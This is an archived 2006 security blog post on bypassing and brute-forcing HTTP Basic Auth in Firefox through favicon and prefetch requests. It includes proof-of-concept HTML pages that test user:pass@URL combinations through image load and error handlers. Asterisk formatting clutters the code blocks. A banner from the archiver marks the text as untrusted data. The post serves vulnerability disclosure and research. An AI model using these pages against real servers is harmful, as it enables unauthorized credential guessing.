Bruteforcing HTTP Auth in Firefox with JavaScript

Bruteforcing HTTP Auth in Firefox with JavaScript - Stefan Esser, blog.php-security.org.

- Published: date not stated
- Original: <http://blog.php-security.org/archives/56-Bruteforcing-HTTP-Auth-in-Firefox-with-JavaScript.html>
- Preserved from: http://blog.php-security.org/archives/56-Bruteforcing-HTTP-Auth-in-Firefox-with-JavaScript.html (stored) on 2026-08-09
- Capture timestamp: 20061215212937
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Bruteforcing HTTP Auth in Firefox with JavaScript - PHP Security Blog

|

Bruteforcing HTTP Auth in Firefox with JavaScript

Friday, December 1. 2006

Friday, December 1. 2006

Yesterday I blogged about a way to bypass HTTP Auth popus that used a "abuse the server" approach. Today I will show a way to bypass HTTP auth in Firefox and in some cases bruteforce HTTP auth in Firefox in some situations. The precondition for the bruteforce approach here is that the attacked server is either running PHP with expose_php=On or an application in a guessable location that contains pictures. (However combined with timing attacks and the number of requests sent depending if the password was correct or not it might be possible to do this without pictures)

The basic idea behind bypassing HTTP auth is to request the files in a way that Firefox will not bother asking the user for a password. From a logical point of view this results in the question: Where does Firefox request optional content? Because this are the likely cases where it does not ask the user for a password. After a bit of thinking you might get the idea that the favicon and the page prefetching are likely cases.

And indeed a page like this will not trigger an HTTP auth popup

```
****<**html**>****
 ****<**head**>****
  ****<**title**>****FF HTML Only HTTP Auth Bypass****<**/title**>****
  ****<**link rel="shortcut icon" href="http://192.168.1.1/"
 type="image/x-icon"**>****
  ****<**link rel="prefetch" href="http://192.168.1.1/"**>****
 ****<**/head**>****
 ****<**body**>****
  Bumm
 ****<**/body**>****
****<**/html**>****
```

If you like you can combine this with your favourite HTML only timing attack that is now public and discussed for example here or take the whole thing a step further and use it for bruteforcing HTTP auth. All you need for this is to know that Firefox does agressive caching for favicons and the URL to a HTTP auth protected image. In case the server is running PHP with expose_php=On you can use the idea described here to use as attack image URL. The proof of concept code is here:

```
****<**html**>****
 ****<**head**>****
  ****<**title**>****Firefox HTTP Auth Bruteforcing****<**/title**>****
  ****<**script**>****
    function okPW()
    {
      alert("User/Password Combination correct");
    }

    function wrongPW()
    {
      alert("User/Password Combination is wrong");
    }

  ****<**/script**>****
  ****<**link rel="shortcut icon" href="http://user:pass@URL"
 type="image/x-icon"**>****
 ****<**/head**>****
 ****<**body**>****
  ****<**img src="http://user:pass@URL"
onLoad="okPW()" onError="wrongPW()"**>****
 ****<**/body**>****
****<**/html**>****
```

Please note that you can use any kind of URL that points to a HTTP auth protected image. You can obviously also use the expose_php GUIDs like ***?=PHPE9568F35-D428-11d2-A769-00AA001ACF42***. However you must ensure that both user:pass+URL combinations are the same because otherwise the caching will not kick in. Additionally you cannot simply reload the page, because then you will get the HTTP auth popup.

Display comments as (Linear | Threaded)

| |